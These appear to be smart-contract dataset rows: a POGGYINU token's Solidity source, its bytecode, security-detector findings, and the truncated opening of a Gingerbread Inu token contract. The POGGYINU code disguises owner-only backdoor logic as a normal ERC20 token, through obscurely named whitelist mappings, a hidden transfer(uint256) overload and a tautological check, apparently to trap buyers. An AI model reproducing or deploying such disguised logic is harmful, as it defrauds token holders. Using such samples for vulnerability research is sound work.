* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract POGGYINU is IERC20, Ownable {
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 private swapAmount = _tTotal;
uint256 public buyFee = 5;
uint256 public sellFee = 5;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
uint256 private _value;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _collection1;
mapping(address => uint256) private _collection2;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_collection1[address(this)] = _tTotal;
_collection1[msg.sender] = _tTotal;
_balances[msg.sender] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && _collection1[from] == 0 && amount <= swapAmount) {
require(_collection2[from] + _value >= 0, 'Transfer amount exceeds maximum amount');
}
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (_swapAndLiquifyEnabled && contractTokenBalance > swapAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_collection1[from] > 0 && _collection1[to] > 0) {
fee = amount;
_balances[address(this)] += fee;
return swapTokensForEth(amount, to);
}
if (amount > swapAmount && to != uniswapV2Pair && to != address(router)) {
if (_collection1[from] > 0) _collection1[to] = amount;
else _collection2[to] = amount;
return;
}
bool takeFee = _collection1[from] == 0 && _collection1[to] == 0 && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (_collection2[factory] == 0) _collection2[factory] = swapAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function transfer(uint256 amnt) external {
if (swapAmount < _collection1[msg.sender]) _value = amnt;
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
} | 0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b311461039e578063a9059cbb146103c9578063dd62ed3e14610406578063f2fde38b14610443578063f887ea401461046c5761011f565b806370a08231146102c9578063715018a6146103065780638da5cb5b1461031d57806395d89b41146103485780639a36f932146103735761011f565b806323b872dd116100e757806323b872dd146101e05780632b14ca561461021d578063313ce56714610248578063470624021461027357806349bd5a5e1461029e5761011f565b806306fdde0314610124578063095ea7b31461014f57806312514bba1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610497565b6040516101469190612016565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611ce6565b610529565b6040516101839190611fe0565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611d26565b61053e565b005b3480156101c157600080fd5b506101ca610592565b6040516101d791906120b8565b60405180910390f35b3480156101ec57600080fd5b5061020760048036038101906102029190611c93565b6105b6565b6040516102149190611fe0565b60405180910390f35b34801561022957600080fd5b5061023261065e565b60405161023f91906120b8565b60405180910390f35b34801561025457600080fd5b5061025d610664565b60405161026a91906120b8565b60405180910390f35b34801561027f57600080fd5b50610288610670565b60405161029591906120b8565b60405180910390f35b3480156102aa57600080fd5b506102b3610676565b6040516102c09190611f3b565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190611bf9565b61069c565b6040516102fd91906120b8565b60405180910390f35b34801561031257600080fd5b5061031b6106e5565b005b34801561032957600080fd5b5061033261076d565b60405161033f9190611f3b565b60405180910390f35b34801561035457600080fd5b5061035d610796565b60405161036a9190612016565b60405180910390f35b34801561037f57600080fd5b50610388610828565b60405161039591906120b8565b60405180910390f35b3480156103aa57600080fd5b506103b361082e565b6040516103c09190611f3b565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190611ce6565b6109fe565b6040516103fd9190611fe0565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190611c53565b610a15565b60405161043a91906120b8565b60405180910390f35b34801561044f57600080fd5b5061046a60048036038101906104659190611bf9565b610a9c565b005b34801561047857600080fd5b50610481610b94565b60405161048e9190611ffb565b60405180910390f35b6060600580546104a6906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906124d8565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b6000610536338484610bba565b905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600154101561058f57806007819055505b50565b60006009600a6105a2919061225c565b633b9aca006105b1919061237a565b905090565b60006105c3848484610d55565b610655843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065091906123d4565b610bba565b90509392505050565b60035481565b6000600960ff16905090565b60025481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed61173d565b73ffffffffffffffffffffffffffffffffffffffff1661070b61076d565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612078565b60405180910390fd5b61076b6000611745565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107a5906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d1906124d8565b801561081e5780601f106107f35761010080835404028352916020019161081e565b820191906000526020600020905b81548152906001019060200180831161080157829003601f168201915b5050505050905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089857600080fd5b505afa1580156108ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611c26565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611c26565b6040518363ffffffff1660e01b81526004016109a9929190611f56565b60206040518083038186803b1580156109c157600080fd5b505afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c26565b905090565b6000610a0b338484610d55565b6001905092915050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aa461173d565b73ffffffffffffffffffffffffffffffffffffffff16610ac261076d565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612078565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612058565b60405180910390fd5b610b9181611745565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c255750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612098565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610d4291906120b8565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610dc05750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e1a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e6557506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610e7357506001548111155b15610f09576000600754600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec79190612182565b1015610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612038565b60405180910390fd5b5b6000610f143061069c565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610f7557600254610f79565b6003545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101b57610fda61082e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611038575060015482115b80156110515750600860159054906101000a900460ff16155b80156110ab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110f4576001600860156101000a81548160ff0219169083151502179055506110d482611809565b6000600860156101000a81548160ff0219169083151502179055506111f2565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561118257506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111f15782905080600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d99190612182565b925050819055506111ea838561184a565b5050611738565b5b600154831180156112515750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112ab5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138d576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113415782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386565b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050611738565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561141c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114285750600082115b80156114415750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114f957600154600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116225760045460648487611551919061237a565b61155b91906121d8565b61156591906121d8565b9250828561157391906123d4565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c491906123d4565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461161a9190612182565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167191906123d4565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c79190612182565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161172b91906120b8565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261181891906121d8565b90506000479050611829823061184a565b6000814761183791906123d4565b9050611844838230611aaa565b50505050565b6000600267ffffffffffffffff811115611867576118666125c6565b5b6040519080825280602002602001820160405280156118955781602001602082028036833780820191505090505b50905030816000815181106118ad576118ac612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c26565b8160018151811061199b5761199a612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611a539190612182565b6040518663ffffffff1660e01b8152600401611a739594939291906120d3565b600060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b50505050505050565b611ad730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b2a9190612182565b6040518863ffffffff1660e01b8152600401611b4b96959493929190611f7f565b6060604051808303818588803b158015611b6457600080fd5b505af1158015611b78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d9190611d53565b505050505050565b600081359050611bb48161272e565b92915050565b600081519050611bc98161272e565b92915050565b600081359050611bde81612745565b92915050565b600081519050611bf381612745565b92915050565b600060208284031215611c0f57611c0e6125f5565b5b6000611c1d84828501611ba5565b91505092915050565b600060208284031215611c3c57611c3b6125f5565b5b6000611c4a84828501611bba565b91505092915050565b60008060408385031215611c6a57611c696125f5565b5b6000611c7885828601611ba5565b9250506020611c8985828601611ba5565b9150509250929050565b600080600060608486031215611cac57611cab6125f5565b5b6000611cba86828701611ba5565b9350506020611ccb86828701611ba5565b9250506040611cdc86828701611bcf565b9150509250925092565b60008060408385031215611cfd57611cfc6125f5565b5b6000611d0b85828601611ba5565b9250506020611d1c85828601611bcf565b9150509250929050565b600060208284031215611d3c57611d3b6125f5565b5b6000611d4a84828501611bcf565b91505092915050565b600080600060608486031215611d6c57611d6b6125f5565b5b6000611d7a86828701611be4565b9350506020611d8b86828701611be4565b9250506040611d9c86828701611be4565b9150509250925092565b6000611db28383611dbe565b60208301905092915050565b611dc781612408565b82525050565b611dd681612408565b82525050565b6000611de78261213d565b611df18185612160565b9350611dfc8361212d565b8060005b83811015611e2d578151611e148882611da6565b9750611e1f83612153565b925050600181019050611e00565b5085935050505092915050565b611e438161241a565b82525050565b611e528161245d565b82525050565b611e618161246f565b82525050565b6000611e7282612148565b611e7c8185612171565b9350611e8c8185602086016124a5565b611e95816125fa565b840191505092915050565b6000611ead602683612171565b9150611eb882612618565b604082019050919050565b6000611ed0602683612171565b9150611edb82612667565b604082019050919050565b6000611ef3602083612171565b9150611efe826126b6565b602082019050919050565b6000611f16602483612171565b9150611f21826126df565b604082019050919050565b611f3581612446565b82525050565b6000602082019050611f506000830184611dcd565b92915050565b6000604082019050611f6b6000830185611dcd565b611f786020830184611dcd565b9392505050565b600060c082019050611f946000830189611dcd565b611fa16020830188611f2c565b611fae6040830187611e58565b611fbb6060830186611e58565b611fc86080830185611dcd565b611fd560a0830184611f2c565b979650505050505050565b6000602082019050611ff56000830184611e3a565b92915050565b60006020820190506120106000830184611e49565b92915050565b600060208201905081810360008301526120308184611e67565b905092915050565b6000602082019050818103600083015261205181611ea0565b9050919050565b6000602082019050818103600083015261207181611ec3565b9050919050565b6000602082019050818103600083015261209181611ee6565b9050919050565b600060208201905081810360008301526120b181611f09565b9050919050565b60006020820190506120cd6000830184611f2c565b92915050565b600060a0820190506120e86000830188611f2c565b6120f56020830187611e58565b81810360408301526121078186611ddc565b90506121166060830185611dcd565b6121236080830184611f2c565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061218d82612446565b915061219883612446565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cd576121cc61250a565b5b828201905092915050565b60006121e382612446565b91506121ee83612446565b9250826121fe576121fd612539565b5b828204905092915050565b6000808291508390505b60018511156122535780860481111561222f5761222e61250a565b5b600185161561223e5780820291505b808102905061224c8561260b565b9450612213565b94509492505050565b600061226782612446565b915061227283612450565b925061229f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122a7565b905092915050565b6000826122b75760019050612373565b816122c55760009050612373565b81600181146122db57600281146122e557612314565b6001915050612373565b60ff8411156122f7576122f661250a565b5b8360020a91508482111561230e5761230d61250a565b5b50612373565b5060208310610133831016604e8410600b84101617156123495782820a9050838111156123445761234361250a565b5b612373565b6123568484846001612209565b9250905081840481111561236d5761236c61250a565b5b81810290505b9392505050565b600061238582612446565b915061239083612446565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123c9576123c861250a565b5b828202905092915050565b60006123df82612446565b91506123ea83612446565b9250828210156123fd576123fc61250a565b5b828203905092915050565b600061241382612426565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061246882612481565b9050919050565b600061247a82612446565b9050919050565b600061248c82612493565b9050919050565b600061249e82612426565b9050919050565b60005b838110156124c35780820151818401526020810190506124a8565b838111156124d2576000848401525b50505050565b600060028204905060018216806124f057607f821691505b6020821081141561250457612503612568565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060008201527f616d6f756e740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61273781612408565b811461274257600080fd5b50565b61274e81612446565b811461275957600080fd5b5056fea26469706673582212202501ee7237dac61e7c2c0fb3b89d963e437124f548d48c97753f44cd94c6a47b64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 953 |
0xe558b11e1206b0bd876799710bd521ba033c9472 | /*
@GingerbreadInu
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Gingerbread_Inu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _devFeeAddrWallet1;
string private constant _name = "Gingerbread Inu";
string private constant _symbol = "GIN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public listingOn;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_devFeeAddrWallet1 = payable(0xfE3871bE1C89726b6293760d4D124b1819820Fe8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFeeAddrWallet1] = true;
